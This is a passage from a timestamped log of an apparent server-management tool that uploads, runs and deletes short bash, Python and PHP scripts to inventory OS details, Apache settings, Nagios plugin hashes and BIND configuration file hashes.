	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-02-09 14:27:20: 

chmod 755 /pkp286223; /pkp286223; rm /pkp286223







STDERR:
rm: cannot remove '/pkp286223': No such file or directory


2026-02-09 14:27:21: 

SERVER INFO (php_model): array (
  'debian' => 0,
  'redhat' => 0,
  'name' => '',
  'arch' => '',
  'mac' => 0,
  'distro' => '',
  'web' => 
  array (
  ),
)


2026-02-09 14:27:21: 

PUT: /pkp142218

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions


gzip -cn9 $temp_file
rm $temp_file


2026-02-09 14:27:21: 

chmod 755 /pkp142218; /pkp142218; rm /pkp142218







STDERR:
rm: cannot remove '/pkp142218': No such file or directory


2026-02-09 14:27:22: 

PUT: /pkp438740

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-02-09 14:27:22: 

chmod 755 /pkp438740; /pkp438740; rm /pkp438740







STDERR:
rm: cannot remove '/pkp438740': No such file or directory


2026-02-09 14:27:30: Establishing a connection
2026-02-09 14:27:31: 

PUT: /tmp/pkp253368

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 14:27:31: 

runuser -l bind -s /bin/bash -c '/tmp/pkp253368; rm /tmp/pkp253368'

2026-02-09 14:27:31: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= a6f5ca81adeede69c1b101c1993b263b
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 14:44:53: Establishing a remote connection
2026-02-09 14:44:59: Establishing a remote connection
2026-02-09 14:45:00: 

PUT: /pkp789262

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-02-09 14:45:00: 

chmod 755 /pkp789262; /pkp789262; rm /pkp789262







STDERR:
rm: cannot remove '/pkp789262': No such file or directory


2026-02-09 14:45:01: 

PUT: /pkp110328

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-02-09 14:45:01: 

chmod 755 /pkp110328; /pkp110328; rm /pkp110328







STDERR:
rm: cannot remove '/pkp110328': No such file or directory


2026-02-09 14:45:02: 

SERVER INFO (php_model): array (
  'debian' => 0,
  'redhat' => 0,
  'name' => '',
  'arch' => '',
  'mac' => 0,
  'distro' => '',
  'web' => 
  array (
  ),
)


2026-02-09 14:45:02: 

PUT: /pkp683152

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions


gzip -cn9 $temp_file
rm $temp_file


2026-02-09 14:45:02: 

chmod 755 /pkp683152; /pkp683152; rm /pkp683152

2026-02-09 14:45:26: 

PUT: /pkp479392

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-02-09 14:45:26: 

chmod 755 /pkp479392; /pkp479392; rm /pkp479392







STDERR:
ping
output	0	58
rm: cannot remove '/pkp479392': No such f

2026-02-09 14:45:35: Establishing a connection
2026-02-09 14:45:35: 

PUT: /tmp/pkp993695

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
